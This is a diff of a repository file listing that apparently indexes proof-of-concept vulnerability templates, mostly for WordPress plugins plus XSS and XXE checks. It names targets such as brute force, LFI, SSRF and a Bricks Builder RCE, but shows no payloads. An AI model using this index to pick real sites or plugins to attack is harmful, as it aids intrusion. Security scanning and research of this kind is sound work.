-./poc/wordpress/wordpress-workflow.yaml ./poc/wordpress/wordpress-wp-config-exposure.yml ./poc/wordpress/wordpress-wpconfig-inclosure.yaml ./poc/wordpress/wordpress-wpcourses-info-disclosure-11368.yaml ./poc/wordpress/wordpress-wpcourses-info-disclosure-11369.yaml ./poc/wordpress/wordpress-wpcourses-info-disclosure-11370.yaml -./poc/wordpress/wordpress-wpcourses-info-disclosure-11371.yaml ./poc/wordpress/wordpress-wpcourses-info-disclosure.yaml ./poc/wordpress/wordpress-xmlrpc-brute-force.yaml ./poc/wordpress/wordpress-xmlrpc-bruteforce.yaml @@ -98938,13 +99488,13 @@ ./poc/wordpress/wordpress-zebra-form-xss-11378.yaml ./poc/wordpress/wordpress-zebra-form-xss-11379.yaml ./poc/wordpress/wordpress-zebra-form-xss.yaml -./poc/wordpress/wordpress.yaml ./poc/wordpress/wordpressConfig.yaml ./poc/wordpress/wordpress_SSRF_Qards (1).yaml ./poc/wordpress/wordpress_bricks_builder_rce_cve_2024_25600.yaml ./poc/wordpress/wp-123contactform-plugin-listing-11400.yaml ./poc/wordpress/wp-123contactform-plugin-listing-11401.yaml ./poc/wordpress/wp-123contactform-plugin-listing-11402.yaml +./poc/wordpress/wp-123contactform-plugin-listing.yaml ./poc/wordpress/wp-2fa-424dc571941ef769e689b51f92ef63e1.yaml ./poc/wordpress/wp-2fa-4c7d4027ecd2f13690e7633bd7a7026c.yaml ./poc/wordpress/wp-2fa-6b87660c12b7cab2b7c94a97a0b1be72.yaml @@ -99155,7 +99705,7 @@ ./poc/wordpress/wp-aparat-ddb7d71f9b382077a0d3c539950fa9e4.yaml ./poc/wordpress/wp-aparat.yaml ./poc/wordpress/wp-app-log-11411.yaml -./poc/wordpress/wp-app-log-11413.yaml +./poc/wordpress/wp-app-log-11412.yaml ./poc/wordpress/wp-app-log-11414.yaml ./poc/wordpress/wp-app-log.yaml ./poc/wordpress/wp-app-maker-d5bf137b7ca050a2a583e1ae8ec72cb0.yaml @@ -99176,10 +99726,9 @@ ./poc/wordpress/wp-appointment-schedule-booking-system.yaml ./poc/wordpress/wp-appointments-schedules-18c89d6aa69e1599fc784ae097e34287.yaml ./poc/wordpress/wp-appointments-schedules.yaml -./poc/wordpress/wp-arforms-listing-11415.yaml ./poc/wordpress/wp-arforms-listing-11416.yaml ./poc/wordpress/wp-arforms-listing-11417.yaml -./poc/wordpress/wp-arforms-listing.yaml +./poc/wordpress/wp-arforms-listing-11418.yaml ./poc/wordpress/wp-aspose-cloud-ebook-plugin-file-download.yaml ./poc/wordpress/wp-asset-clean-up-2bdf53d1a4bcb567e4c12458624a2d4a.yaml ./poc/wordpress/wp-asset-clean-up-652e472006f64f31ed0d7ca21b1cec83.yaml @@ -99250,6 +99799,7 @@ ./poc/wordpress/wp-awesome-faq-plugin.yaml ./poc/wordpress/wp-awesome-faq.yaml ./poc/wordpress/wp-back-button-288fc732de1cf63fb58e554a04b1bb48.yaml +./poc/wordpress/wp-back-button.yaml ./poc/wordpress/wp-backgrounds-lite-2cfe38875f8efd3658b5f1a40330fb6c.yaml ./poc/wordpress/wp-backgrounds-lite.yaml ./poc/wordpress/wp-backitup-4465d9b33aea3fb4f708ca44e3512de4.yaml @@ -99341,6 +99891,7 @@ ./poc/wordpress/wp-born-babies.yaml ./poc/wordpress/wp-brandfolder-plugin-lfi.yaml ./poc/wordpress/wp-brandfolder-plugin-open-redirect.yaml +./poc/wordpress/wp-bricks-builder-theme.yaml ./poc/wordpress/wp-broken-images-6f61d089979f91a25fe69380f068122b.yaml ./poc/wordpress/wp-broken-images.yaml ./poc/wordpress/wp-browser-update-58f9926f80f65c94335eb84e96bd20e5.yaml @@ -99445,7 +99996,6 @@ ./poc/wordpress/wp-church-admin-xss-11421.yaml ./poc/wordpress/wp-church-admin-xss-11422.yaml ./poc/wordpress/wp-church-admin-xss-11423.yaml -./poc/wordpress/wp-church-admin-xss-11424.yaml ./poc/wordpress/wp-church-admin-xss.yaml ./poc/wordpress/wp-cirrus-411a378f22a1a6af169e368f8522997a.yaml ./poc/wordpress/wp-cirrus-6c2d6c4f8fb9c6ed01ec08ed5a96f6e9.yaml @@ -99491,7 +100041,6 @@ ./poc/wordpress/wp-code-highlightjs-plugin.yaml ./poc/wordpress/wp-code-highlightjs.yaml ./poc/wordpress/wp-code-snippets-xss-11425.yaml -./poc/wordpress/wp-code-snippets-xss-11426.yaml ./poc/wordpress/wp-codemirror-block-00c8945b2d90aba47cb8e8cc192bdf4e.yaml ./poc/wordpress/wp-codemirror-block.yaml ./poc/wordpress/wp-coder-132985a8b76990e0c6cd6695eb596f6c.yaml @@ -99690,9 +100239,9 @@ ./poc/wordpress/wp-custom-pages.yaml ./poc/wordpress/wp-custom-post-template-efd63a67ee15374063f7c4b69a61e144.yaml ./poc/wordpress/wp-custom-post-template.yaml -./poc/wordpress/wp-custom-tables-xss-11431.yaml ./poc/wordpress/wp-custom-tables-xss-11432.yaml ./poc/wordpress/wp-custom-tables-xss-11433.yaml +./poc/wordpress/wp-custom-tables-xss-11434.yaml ./poc/wordpress/wp-custom-tables-xss-11435.yaml ./poc/wordpress/wp-custom-tables-xss.yaml ./poc/wordpress/wp-custom-widget-area-1ea5db37756be1000588b9e7abbeedc9.yaml @@ -99832,6 +100381,7 @@ ./poc/wordpress/wp-domain-redirect-e5bf6ab8eeb40788caddb9493fd84dca.yaml ./poc/wordpress/wp-domain-redirect.yaml ./poc/wordpress/wp-donate-adc3999f24b5a1dcaca0efbb25eb2bf5.yaml +./poc/wordpress/wp-donate-da3f0f16feb56d7497b76972109fd5c9.yaml ./poc/wordpress/wp-donate.yaml ./poc/wordpress/wp-donottrack-6aad08d4158c4571f0f40ff372bdaba5.yaml ./poc/wordpress/wp-donottrack-a4541373636ec471e3e2bd26a80cde61.yaml @@ -99906,6 +100456,7 @@ ./poc/wordpress/wp-e-commerce-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wp-e-commerce-plugin.yaml ./poc/wordpress/wp-e-commerce.yaml +./poc/wordpress/wp-easy-booking-978f883d6a8b36161700bd5cd3933d9a.yaml ./poc/wordpress/wp-easy-contact-3b570fced573df49cceb54d741239f7e.yaml ./poc/wordpress/wp-easy-contact.yaml ./poc/wordpress/wp-easy-events-3a485cee12d6a1286f70ea57901f8180.yaml @@ -100037,7 +100588,7 @@ ./poc/wordpress/wp-email-plugin.yaml ./poc/wordpress/wp-email-subscribers-listing-11440.yaml ./poc/wordpress/wp-email-subscribers-listing-11441.yaml -./poc/wordpress/wp-email-subscribers-listing-11443.yaml +./poc/wordpress/wp-email-subscribers-listing-11442.yaml ./poc/wordpress/wp-email-template-1729a8753eae476fa81f29fbf915eae7.yaml ./poc/wordpress/wp-email-template-77ad67534972b8073fe68dc3e6a0ae34.yaml ./poc/wordpress/wp-email-template-9ceea61553b1440c884786aa4c073642.yaml @@ -100314,13 +100865,13 @@ ./poc/wordpress/wp-filemanager.yaml ./poc/wordpress/wp-film-studio-49f13dc6fa66760ca1ff6d5f40c3291d.yaml ./poc/wordpress/wp-film-studio.yaml +./poc/wordpress/wp-finder-xss-11445.yaml ./poc/wordpress/wp-finder-xss-11447.yaml ./poc/wordpress/wp-finder-xss-11448.yaml -./poc/wordpress/wp-finder-xss-11449.yaml ./poc/wordpress/wp-finder-xss-11450.yaml ./poc/wordpress/wp-finder-xss.yaml +./poc/wordpress/wp-flagem-xss-11451.yaml ./poc/wordpress/wp-flagem-xss-11452.yaml -./poc/wordpress/wp-flagem-xss-11453.yaml ./poc/wordpress/wp-flagem-xss-11454.yaml ./poc/wordpress/wp-flagem-xss.yaml ./poc/wordpress/wp-flash-player-536eeb4006f635aa995f8127f7f03de1.yaml @@ -100705,8 +101256,8 @@ ./poc/wordpress/wp-instagram-bank.yaml ./poc/wordpress/wp-install-11473.yaml ./poc/wordpress/wp-install-11474.yaml -./poc/wordpress/wp-install-11475.yaml ./poc/wordpress/wp-install-php.yaml +./poc/wordpress/wp-install.yaml ./poc/wordpress/wp-instance-rename-f54408534e740536e4255c5420540815.yaml ./poc/wordpress/wp-instance-rename.yaml ./poc/wordpress/wp-insurance-d6bda609865d6ab618b4f735cbea39bb.yaml @@ -100735,6 +101286,7 @@ ./poc/wordpress/wp-invoice.yaml ./poc/wordpress/wp-iwp-client-listing-11476.yaml ./poc/wordpress/wp-iwp-client-listing-11477.yaml +./poc/wordpress/wp-iwp-client-listing-11478.yaml ./poc/wordpress/wp-iwp-client-listing-11479.yaml ./poc/wordpress/wp-javospot-lfi-11480.yaml ./poc/wordpress/wp-javospot-lfi-11481.yaml @@ -100818,6 +101370,7 @@ ./poc/wordpress/wp-jobsearch-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wp-jobsearch-plugin.yaml ./poc/wordpress/wp-jobsearch.yaml +./poc/wordpress/wp-jquery-lightbox-99110571c397e4da07c1bd94f9b80853.yaml ./poc/wordpress/wp-jquery-version.yaml ./poc/wordpress/wp-js-9181e82fafb61b05bf590b20d7e5603a.yaml ./poc/wordpress/wp-js-external-link-info-5926dccfc3ef6b760f5584ecda96d633.yaml @@ -100843,7 +101396,6 @@ ./poc/wordpress/wp-knews-xss-11484.yaml ./poc/wordpress/wp-knews-xss-11485.yaml ./poc/wordpress/wp-knews-xss-11486.yaml -./poc/wordpress/wp-knews-xss-11487.yaml ./poc/wordpress/wp-knews-xss-11488.yaml ./poc/wordpress/wp-knews-xss.yaml ./poc/wordpress/wp-knowledgebase-ce12311920213990a4e4a36be60be911.yaml @@ -100882,8 +101434,8 @@ ./poc/wordpress/wp-levoslideshow-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wp-levoslideshow-plugin.yaml ./poc/wordpress/wp-levoslideshow.yaml -./poc/wordpress/wp-license-file-11489.yaml ./poc/wordpress/wp-license-file-11490.yaml +./poc/wordpress/wp-license-file-11491.yaml ./poc/wordpress/wp-license-file.yaml ./poc/wordpress/wp-license.yaml ./poc/wordpress/wp-lightbox-2-77e6013abc8939366eda9dc7f95c8a05.yaml @@ -100994,6 +101546,7 @@ ./poc/wordpress/wp-logs-book-3268e632686f3f58129c3ba789e8db41.yaml ./poc/wordpress/wp-logs-book-3433cd05f7ae3c5b20b43a7e2d0c6f95.yaml ./poc/wordpress/wp-logs-book-d346d03a868831775b5e612cb931b6a8.yaml +./poc/wordpress/wp-logs-book.yaml ./poc/wordpress/wp-lytebox-db5114f957af648ff2170f14b4ac13a2.yaml ./poc/wordpress/wp-lytebox.yaml ./poc/wordpress/wp-mail-73c565cadcdbc98fb640dd5c9e3c0aab.yaml @@ -101046,9 +101599,8 @@ ./poc/wordpress/wp-mail-smtp-pro.yaml ./poc/wordpress/wp-mail-smtp.yaml ./poc/wordpress/wp-mail.yaml -./poc/wordpress/wp-mailchimp-log-exposure-11492.yaml ./poc/wordpress/wp-mailchimp-log-exposure-11493.yaml -./poc/wordpress/wp-mailchimp-log-exposure.yaml +./poc/wordpress/wp-mailchimp-log-exposure-11494.yaml ./poc/wordpress/wp-mailster-d920be8a0c209910a2150936fe45b839.yaml ./poc/wordpress/wp-mailster.yaml ./poc/wordpress/wp-mailto-links-9e4406b99ed9728029497ac1e97783e2.yaml @@ -101057,6 +101609,7 @@ ./poc/wordpress/wp-mailup-c0d9005aac5595cdeed805a9a1b0dad4.yaml ./poc/wordpress/wp-mailup.yaml ./poc/wordpress/wp-maintenance-389ac776d1ad22c34cb313a0878568d6.yaml +./poc/wordpress/wp-maintenance-bddd2594e97161a0a633c13561368f2c.yaml ./poc/wordpress/wp-maintenance-c5ab31f592f8a6529930fe24f4150e90.yaml ./poc/wordpress/wp-maintenance-d59cd547950c34025cb8f3c9f5b9d25c.yaml ./poc/wordpress/wp-maintenance-f04ed3422091218efa0be86552d0c204.yaml @@ -101148,6 +101701,7 @@ ./poc/wordpress/wp-memory-plugin.yaml ./poc/wordpress/wp-memory.yaml ./poc/wordpress/wp-memphis-documents-library-lfi-1.yaml +./poc/wordpress/wp-memphis-documents-library-lfi-11495.yaml ./poc/wordpress/wp-memphis-documents-library-lfi-11496.yaml ./poc/wordpress/wp-memphis-documents-library-lfi-11497.yaml ./poc/wordpress/wp-memphis-documents-library-lfi-11498.yaml @@ -101270,7 +101824,6 @@ ./poc/wordpress/wp-multi-store-locator-551c78eb348370f4b28b6fd728df7369.yaml ./poc/wordpress/wp-multi-store-locator.yaml ./poc/wordpress/wp-multibyte-patch.yaml -./poc/wordpress/wp-multiple-theme-ssrf-11508.yaml ./poc/wordpress/wp-multiple-theme-ssrf-11509.yaml ./poc/wordpress/wp-multiple-theme-ssrf-11510.yaml ./poc/wordpress/wp-multiple-theme-ssrf-11511.yaml @@ -101461,7 +102014,6 @@ ./poc/wordpress/wp-php-widget.yaml ./poc/wordpress/wp-phpfreechat-xss-11524.yaml ./poc/wordpress/wp-phpfreechat-xss-11526.yaml -./poc/wordpress/wp-phpfreechat-xss-11527.yaml ./poc/wordpress/wp-phpfreechat-xss-11528.yaml ./poc/wordpress/wp-phpfreechat-xss-11529.yaml ./poc/wordpress/wp-phpfreechat-xss.yaml @@ -101519,12 +102071,12 @@ ./poc/wordpress/wp-plugin-lifterlms-11533.yaml ./poc/wordpress/wp-plugin-lifterlms-11534.yaml ./poc/wordpress/wp-plugin-lifterlms-11535.yaml -./poc/wordpress/wp-plugin-lifterlms-11536.yaml ./poc/wordpress/wp-plugin-lifterlms.yaml ./poc/wordpress/wp-plugin-lister-8b40d9719849c24be01ba764d3e4a1ff.yaml ./poc/wordpress/wp-plugin-lister.yaml ./poc/wordpress/wp-plugin-manager-921df181249bd59c9625c2dcc1df1b66.yaml ./poc/wordpress/wp-plugin-manager.yaml +./poc/wordpress/wp-plugin-marmoset-viewer-xss-11537.yaml ./poc/wordpress/wp-plugin-marmoset-viewer-xss-11538.yaml ./poc/wordpress/wp-plugin-marmoset-viewer-xss.yaml ./poc/wordpress/wp-plugin-memphis-documents-library-lfi.yaml @@ -101561,7 +102113,7 @@ ./poc/wordpress/wp-popup-builder.yaml ./poc/wordpress/wp-popup-listing-11543.yaml ./poc/wordpress/wp-popup-listing-11544.yaml -./poc/wordpress/wp-popup-listing.yaml +./poc/wordpress/wp-popup-listing-11545.yaml ./poc/wordpress/wp-popups-lite-397d56c4826cb39d4978e607d024b3f6.yaml ./poc/wordpress/wp-popups-lite-482e13507074a152afd1c369afb2758f.yaml ./poc/wordpress/wp-popups-lite-69ef67ee7aec095c81a6e3175b553ce1.yaml @@ -101715,15 +102267,14 @@ ./poc/wordpress/wp-property-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wp-property-plugin.yaml ./poc/wordpress/wp-property.yaml +./poc/wordpress/wp-prostore-open-redirect-11546.yaml ./poc/wordpress/wp-prostore-open-redirect-11547.yaml ./poc/wordpress/wp-prostore-open-redirect-11548.yaml ./poc/wordpress/wp-prostore-open-redirect-11549.yaml -./poc/wordpress/wp-prostore-open-redirect-11550.yaml -./poc/wordpress/wp-prostore-open-redirect.yaml ./poc/wordpress/wp-publications-b85a3c11767227494a836174e6262f5c.yaml ./poc/wordpress/wp-publications.yaml ./poc/wordpress/wp-qards-listing-11551.yaml -./poc/wordpress/wp-qards-listing.yaml +./poc/wordpress/wp-qards-listing-11552.yaml ./poc/wordpress/wp-qrcode-me-v-card-314ed947e5aebc74cf601ba290f4edad.yaml ./poc/wordpress/wp-qrcode-me-v-card.yaml ./poc/wordpress/wp-quick-front-end-editor-02de13f83ec39d9f9fa219b2764f4023.yaml @@ -101887,6 +102438,7 @@ ./poc/wordpress/wp-reviews-plugin-for-google-ef8cb6fc353aaae2bbe90dfc74187793.yaml ./poc/wordpress/wp-reviews-plugin-for-google.yaml ./poc/wordpress/wp-revslider-file-download-11553.yaml +./poc/wordpress/wp-revslider-file-download-11554.yaml ./poc/wordpress/wp-revslider-file-download-11555.yaml ./poc/wordpress/wp-revslider-file-download.yaml ./poc/wordpress/wp-roadmap-7e3122605112af28a9af70aa035a1854.yaml @@ -102000,7 +102552,7 @@ ./poc/wordpress/wp-security-hardening-3e7334a5a8943a91d18872df3993605a.yaml ./poc/wordpress/wp-security-hardening-cf5df90e258e9517dfd7a3f8004d6bf7.yaml ./poc/wordpress/wp-security-hardening.yaml -./poc/wordpress/wp-security-open-redirect.yaml +./poc/wordpress/wp-security-open-redirect-11561.yaml ./poc/wordpress/wp-security-pro-be35bdacd113ef432bfccbf85afdaf0f.yaml ./poc/wordpress/wp-security-pro.yaml ./poc/wordpress/wp-security-questions-3addb0e86bc9a6fb83254e5a86e7fa30.yaml @@ -102313,7 +102865,6 @@ ./poc/wordpress/wp-sponsors.yaml ./poc/wordpress/wp-spot-premium-lfi-11583.yaml ./poc/wordpress/wp-spot-premium-lfi-11584.yaml -./poc/wordpress/wp-spot-premium-lfi.yaml ./poc/wordpress/wp-spreadplugin-770922d0f06223ff760fe55a3381969b.yaml ./poc/wordpress/wp-spreadplugin-952fdcb2c62b2da7c6d22d0136494974.yaml ./poc/wordpress/wp-spreadplugin-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -102464,7 +103015,6 @@ ./poc/wordpress/wp-super-cache.yaml ./poc/wordpress/wp-super-forms-11585.yaml ./poc/wordpress/wp-super-forms-11586.yaml -./poc/wordpress/wp-super-forms-11587.yaml ./poc/wordpress/wp-super-forms-11588.yaml ./poc/wordpress/wp-super-minify-92bce3d20b21e8099e97453d704543ec.yaml ./poc/wordpress/wp-super-minify.yaml @@ -102614,8 +103164,8 @@ ./poc/wordpress/wp-timed-popup-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wp-timed-popup-plugin.yaml ./poc/wordpress/wp-timed-popup.yaml -./poc/wordpress/wp-tinymce-lfi-11589.yaml ./poc/wordpress/wp-tinymce-lfi-11590.yaml +./poc/wordpress/wp-tinymce-lfi-11591.yaml ./poc/wordpress/wp-tinymce-lfi.yaml ./poc/wordpress/wp-tinymce-thumbnail-plugin-lfi.yaml ./poc/wordpress/wp-tmkm-amazon-1523dfa46e6cef9963464f327801e736.yaml @@ -102690,6 +103240,7 @@ ./poc/wordpress/wp-tripadvisor-review-slider.yaml ./poc/wordpress/wp-ttisbdir-6bc8c2821326a4be41604103ffc08712.yaml ./poc/wordpress/wp-ttisbdir.yaml +./poc/wordpress/wp-tutor-lfi-11596.yaml ./poc/wordpress/wp-tutor-lfi-11597.yaml ./poc/wordpress/wp-tutor-lfi-11598.yaml ./poc/wordpress/wp-tutor-lfi-11599.yaml @@ -102779,6 +103330,8 @@ ./poc/wordpress/wp-upload-data-11602.yaml ./poc/wordpress/wp-upload-data-11603.yaml ./poc/wordpress/wp-upload-data-11604.yaml +./poc/wordpress/wp-upload-data-11605.yaml +./poc/wordpress/wp-upload-data.yaml ./poc/wordpress/wp-upload-restriction-34ada383253b9728876613379fa9dea6.yaml ./poc/wordpress/wp-upload-restriction-3b5c347348b988baaab2601e987517ae.yaml ./poc/wordpress/wp-upload-restriction-81b96fa379daa9e93cab1ad57b78f1f7.yaml @@ -102970,7 +103523,6 @@ ./poc/wordpress/wp-whatsapp-chat.yaml ./poc/wordpress/wp-whatsapp.yaml ./poc/wordpress/wp-whmcs-xss-11613.yaml -./poc/wordpress/wp-whmcs-xss-11614.yaml ./poc/wordpress/wp-whmcs-xss.yaml ./poc/wordpress/wp-whois-domain-a87495e38de2f623ebcaa4729c800268.yaml ./poc/wordpress/wp-whois-domain.yaml @@ -102979,12 +103531,14 @@ ./poc/wordpress/wp-widget-bundle-3dc1e24a20db46468544ed3cf7597a6e.yaml ./poc/wordpress/wp-widget-bundle-b42c8b234fcb190c0bc3198ae1b0183a.yaml ./poc/wordpress/wp-widget-bundle-ea3a46afa4a8b4cc7731790920ef1346.yaml +./poc/wordpress/wp-widget-bundle.yaml ./poc/wordpress/wp-woo-commerce-sync-for-g-sheet-6477bf18cad6c823db485408d49b337b.yaml ./poc/wordpress/wp-woo-commerce-sync-for-g-sheet-ff9293ba28748efa2ab9a2fe77385468.yaml ./poc/wordpress/wp-woo-commerce-sync-for-g-sheet.yaml ./poc/wordpress/wp-woocommerce-email-verification-1.yaml ./poc/wordpress/wp-woocommerce-email-verification-11615.yaml ./poc/wordpress/wp-woocommerce-email-verification-11616.yaml +./poc/wordpress/wp-woocommerce-email-verification-11617.yaml ./poc/wordpress/wp-woocommerce-email-verification-11618.yaml ./poc/wordpress/wp-woocommerce-email-verification-11619.yaml ./poc/wordpress/wp-woocommerce-email-verification-2.yaml @@ -103002,8 +103556,8 @@ ./poc/wordpress/wp-worthy.yaml ./poc/wordpress/wp-xmlrpc-11629.yaml ./poc/wordpress/wp-xmlrpc-11630.yaml -./poc/wordpress/wp-xmlrpc-11631.yaml ./poc/wordpress/wp-xmlrpc-brute-force-11623.yaml +./poc/wordpress/wp-xmlrpc-brute-force-11624.yaml ./poc/wordpress/wp-xmlrpc-brute-force.yaml ./poc/wordpress/wp-xmlrpc-bruteforce.yaml ./poc/wordpress/wp-xmlrpc-check.yaml @@ -103289,9 +103843,9 @@ ./poc/wordpress/wpdiscuz-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wpdiscuz-plugin.yaml ./poc/wordpress/wpdiscuz.yaml +./poc/wordpress/wpdm-cache-session-11436.yaml ./poc/wordpress/wpdm-cache-session-11437.yaml ./poc/wordpress/wpdm-cache-session-11438.yaml -./poc/wordpress/wpdm-cache-session-11439.yaml ./poc/wordpress/wpdm-cache-session.yaml ./poc/wordpress/wpdm-gutenberg-blocks-055c2a59f216ef473b493c568e05a010.yaml ./poc/wordpress/wpdm-gutenberg-blocks.yaml @@ -103556,11 +104110,11 @@ ./poc/wordpress/wpmu-f0be2340c2c0c20ce0ca42b2acbcb2ac.yaml ./poc/wordpress/wpmu-f535dd9c67cc53c57251591f727ba1d3.yaml ./poc/wordpress/wpmu.yaml -./poc/wordpress/wpmudev-my-calender-xss-11503.yaml +./poc/wordpress/wpmudev-my-calender-xss-11502.yaml ./poc/wordpress/wpmudev-my-calender-xss.yaml ./poc/wordpress/wpmudev-pub-keys-11504.yaml ./poc/wordpress/wpmudev-pub-keys-11505.yaml -./poc/wordpress/wpmudev-pub-keys-11506.yaml +./poc/wordpress/wpmudev-pub-keys-11507.yaml ./poc/wordpress/wpmudev-pub-keys.yaml ./poc/wordpress/wpo365-login-78ebf1049c10ddea703226e9798c9f14.yaml ./poc/wordpress/wpo365-login-b42359728e76b0d180e7fa1e8292b5a9.yaml @@ -103761,6 +104315,7 @@ ./poc/wordpress/wptouch-open-redirect-11592.yaml ./poc/wordpress/wptouch-open-redirect-11593.yaml ./poc/wordpress/wptouch-open-redirect-11594.yaml +./poc/wordpress/wptouch-open-redirect-11595.yaml ./poc/wordpress/wptouch-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wptouch-plugin-open-redirect.yaml ./poc/wordpress/wptouch-plugin.yaml @@ -103878,7 +104433,6 @@ ./poc/xml_external_entity/springboot-actuators-jolokia-xxe-1.yaml ./poc/xml_external_entity/springboot-actuators-jolokia-xxe-10428.yaml ./poc/xml_external_entity/springboot-actuators-jolokia-xxe-10429.yaml -./poc/xml_external_entity/springboot-actuators-jolokia-xxe-10430.yaml ./poc/xml_external_entity/springboot-actuators-jolokia-xxe-10431.yaml ./poc/xml_external_entity/springboot-actuators-jolokia-xxe-10432.yaml ./poc/xml_external_entity/springboot-actuators-jolokia-xxe-2.yaml @@ -103931,17 +104485,19 @@ ./poc/xss/acme-xss.yaml ./poc/xss/admin-ajax-xss.yaml ./poc/xss/aem-setpreferences-xss-189.yaml +./poc/xss/aem-xss-childlist-selector-197.yaml ./poc/xss/aem-xss-childlist-selector-198.yaml ./poc/xss/aikcms_v2-xss.yaml ./poc/xss/akamai-arl-xss-246.yaml ./poc/xss/akamai-arl-xss-247.yaml ./poc/xss/akamai-arl-xss-248.yaml -./poc/xss/akamai-arl-xss-249.yaml +./poc/xss/akamai-arl-xss.yaml ./poc/xss/avchat-video-chat-xss.yaml ./poc/xss/axublog-goindes-xss.yaml ./poc/xss/basic-xss-prober-695.yaml ./poc/xss/basic-xss-prober-697.yaml ./poc/xss/basic-xss-prober-698.yaml +./poc/xss/basic-xss-prober-699.yaml ./poc/xss/basic-xss-prober.yaml ./poc/xss/bitrix-getmessage-xss.yaml ./poc/xss/bitrix-recalc-xss-galleries.yaml @@ -103964,8 +104520,8 @@ ./poc/xss/citrix-cve-2020-8191-xss.yml ./poc/xss/ckan-dom-based-xss-990.yaml ./poc/xss/ckan-dom-based-xss-991.yaml -./poc/xss/ckan-dom-based-xss-992.yaml ./poc/xss/ckan-dom-based-xss-993.yaml +./poc/xss/ckan-dom-based-xss.yaml ./poc/xss/clicshopping-v2-xss.yaml ./poc/xss/coldfusion-debug-xss-1.yaml ./poc/xss/coldfusion-debug-xss-1152.yaml @@ -103976,6 +104532,7 @@ ./poc/xss/concrete-xss-1175.yaml ./poc/xss/concrete-xss-1176.yaml ./poc/xss/concrete-xss-1177.yaml +./poc/xss/concrete-xss.yaml ./poc/xss/concretexss.yaml ./poc/xss/ctp-xss.yaml ./poc/xss/custom-aem-xss.yaml @@ -103987,8 +104544,8 @@ ./poc/xss/discourse-xss-7014.yaml ./poc/xss/discourse-xss.yaml ./poc/xss/dlink-netgear-xss.yaml -./poc/xss/dom-xss-7079.yaml -./poc/xss/dom-xss-siteminder(1).yaml +./poc/xss/dom-xss-7078.yaml +./poc/xss/dom-xss-siteminder.yaml ./poc/xss/dom-xss-web-message.yaml ./poc/xss/dom-xss.yaml ./poc/xss/dom-xss.yml @@ -103997,6 +104554,7 @@ ./poc/xss/eclipse-xss.yaml ./poc/xss/elex-woocommerce-xss-7199.yaml ./poc/xss/elex-woocommerce-xss-7200.yaml +./poc/xss/elex-woocommerce-xss.yaml ./poc/xss/empirecms-xss-7218.yaml ./poc/xss/empirecms-xss-7219.yaml ./poc/xss/empirecms-xss-7220.yaml @@ -104031,19 +104589,21 @@ ./poc/xss/id-xss.yaml ./poc/xss/java-melody-xss-8225.yaml ./poc/xss/java-melody-xss-8226.yaml +./poc/xss/java-melody-xss.yaml ./poc/xss/jenkins-audit-trail-xss.yaml -./poc/xss/kafdrop-xss-8411.yaml +./poc/xss/jorani-benjamin-xss.yaml ./poc/xss/kafdrop-xss-8413.yaml ./poc/xss/kafdrop-xss-8414.yaml ./poc/xss/kafdrop-xss.yaml ./poc/xss/kaue-xss-vmware-vcloud-director.yaml ./poc/xss/keycloak-xss-8478.yaml ./poc/xss/keycloak-xss-8479.yaml +./poc/xss/keycloak-xss-8480.yaml ./poc/xss/keycloak-xss-8481.yaml -./poc/xss/keycloak-xss-8482.yaml ./poc/xss/keycloak-xss.yaml ./poc/xss/laravel-ignition-xss-8592.yaml ./poc/xss/laravel-ignition-xss-8593.yaml +./poc/xss/laravel-ignition-xss.yaml ./poc/xss/ldap-wp-login-xss.yaml ./poc/xss/lucee-xss-1.yaml ./poc/xss/lucee-xss-2.yaml @@ -104051,7 +104611,6 @@ ./poc/xss/microweber-xss-8864.yaml ./poc/xss/microweber-xss-8865.yaml ./poc/xss/microweber-xss.yaml -./poc/xss/mida-eframework-xss-8866.yaml ./poc/xss/mida-eframework-xss-8867.yaml ./poc/xss/mida-eframework-xss-8868.yaml ./poc/xss/mida-eframework-xss-8869.yaml @@ -104066,8 +104625,8 @@ ./poc/xss/moodle-jitsi-plugin-xss.yaml ./poc/xss/moodle-xss-8948.yaml ./poc/xss/moodle-xss-8949.yaml +./poc/xss/moodle-xss-8950.yaml ./poc/xss/moodle-xss-8951.yaml -./poc/xss/moodle-xss-8952.yaml ./poc/xss/ms-exchange-server-reflected-xss-8962.yaml ./poc/xss/ms-exchange-server-reflected-xss-8963.yaml ./poc/xss/ms-exchange-server-reflected-xss-8964.yaml @@ -104077,11 +104636,10 @@ ./poc/xss/my-chatbot-xss-8978.yaml ./poc/xss/my-chatbot-xss-8979.yaml ./poc/xss/myfactory-fms-xss.yaml -./poc/xss/netsweeper-rxss.yaml +./poc/xss/netsweeper-rxss-9065.yaml ./poc/xss/nginx-module-vts-xss-9106.yaml ./poc/xss/nginx-module-vts-xss-9107.yaml ./poc/xss/nginx-module-vts-xss-9108.yaml -./poc/xss/nginx-module-vts-xss-9109.yaml ./poc/xss/nginx-module-vts-xss-9110.yaml ./poc/xss/nginx-module-vts-xss.yaml ./poc/xss/nginx-vhost-xss.yaml @@ -104090,10 +104648,11 @@ ./poc/xss/oracle-ebs-xss-1.yaml ./poc/xss/oracle-ebs-xss-2.yaml ./poc/xss/oracle-ebs-xss-3.yaml +./poc/xss/oracle-ebs-xss-9373.yaml ./poc/xss/oracle-ebs-xss-9375.yaml -./poc/xss/oracle-ebs-xss-9376.yaml ./poc/xss/oracle-ebs-xss-9377.yaml ./poc/xss/oracle-ebs-xss.yaml +./poc/xss/oracle-oam-xss.yaml ./poc/xss/oracle-siebel-xss-9400.yaml ./poc/xss/oracle-siebel-xss-9401.yaml ./poc/xss/oracle-siebel-xss-9402.yaml @@ -104102,17 +104661,19 @@ ./poc/xss/parentlink-xss-1.yaml ./poc/xss/parentlink-xss-2.yaml ./poc/xss/parentlink-xss-9466.yaml -./poc/xss/parentlink-xss-9467.yaml +./poc/xss/php-timeclock-xss-9550.yaml ./poc/xss/php-timeclock-xss-9551.yaml ./poc/xss/php-timeclock-xss-9552.yaml ./poc/xss/php-timeclock-xss-9553.yaml -./poc/xss/php-timeclock-xss-9554.yaml +./poc/xss/php-timeclock-xss.yaml ./poc/xss/phpldapadmin-xss.yaml ./poc/xss/ping-pong-xss.yaml +./poc/xss/pmb-xss.yaml ./poc/xss/qcubed-xss-1.yaml 